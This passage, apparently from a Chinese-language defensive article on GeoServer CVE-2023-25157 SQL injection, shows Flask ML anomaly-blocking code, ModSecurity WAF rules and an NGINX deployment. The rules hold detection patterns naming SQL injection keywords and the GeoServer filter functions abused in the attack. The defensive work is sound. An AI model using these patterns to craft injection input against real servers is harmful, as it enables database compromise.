request_entry['cql_special_char_count'] = 0
request_entry['has_dangerous_func'] = 0
request_entry['has_sql_keyword'] = 0
history = get_ip_history(request.remote_addr)
if predict_anomaly(request_entry, history):
log_attack(request, 'ml_anomaly', '')
abort(403, description='Suspicious behavior detected')
def predict_anomaly(request_entry, history):
features = extract_features(request_entry, history)
prob = model.predict(np.array([features]))[0][0]
return prob > THRESHOLD
基于 ModSecurity 的 WAF 规则
在 Apache/NGINX 中部署 ModSecurity,拦截对 GeoServer 的 SQL 注入尝试。 3.1 基础规则
# modsecurity_crs_74_geoserver_cve_2023_25157.conf
# 规则1:检测 CQL_FILTER 参数中的危险函数 + SQL 关键字
SecRule ARGS:CQL_FILTER "@rx (?i)(strEndsWith|strStartsWith|PropertyIsLike|FeatureId).*?(select|union|insert|update|delete|drop|exec|sleep|benchmark|waitfor)" \
"id:1011001,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'GeoServer CVE-2023-25157 - SQL injection attempt',\
logdata:'Matched: %{MATCHED_VAR}',\
tag:'attack-sqli',\
tag:'cve-2023-25157',\
severity:'CRITICAL'"
# 规则2:检测 CQL_FILTER 参数中的注释符或分号
SecRule ARGS:CQL_FILTER "@rx (--|#|;)" \
"id:1011002,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'GeoServer CVE-2023-25157 - Comment or semicolon detected',\
tag:'attack-sqli',\
severity:'CRITICAL'"
# 规则3:检测 CQL_FILTER 参数中的单引号与 OR 组合(经典注入)
SecRule ARGS:CQL_FILTER "@rx '.*\s+or\s+.*'|'.*\s+and\s+.*'" \
"id:1011003,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'GeoServer CVE-2023-25157 - Classic OR/AND injection',\
tag:'attack-sqli',\
severity:'CRITICAL'"
# 规则4:对敏感路径进行速率限制
SecRule REQUEST_URI "@beginsWith /geoserver/wfs" \
"id:1011004,\
phase:1,\
t:none,\
ver:'OWASP_CRS/4.0',\
block,\
msg:'GeoServer WFS rate limiting',\
setvar:'tx.geoserver_wfs_counter_%{REMOTE_ADDR}=+1',\
expirevar:'tx.geoserver_wfs_counter_%{REMOTE_ADDR}=60'"
SecRule TX:geoserver_wfs_counter_%{REMOTE_ADDR} "@gt 30" \
"id:1011005,\
phase:1,\
block,\
msg:'Too many WFS requests',\
severity:'WARNING'"
3.2 部署示例(NGINX)
server {
listen 80;
server_name geoserver.example.com;
ModSecurityEnabled on;
ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;
location /geoserver/ {
proxy_pass http://geoserver-backend:8080/geoserver/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
总结:CVE-2023-25157 是 GeoServer 中的严重 SQL 注入漏洞,攻击者可通过构造包含危险函数的 CQL 过滤器执行任意 SQL。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 GeoServer 的用户立即采取行动。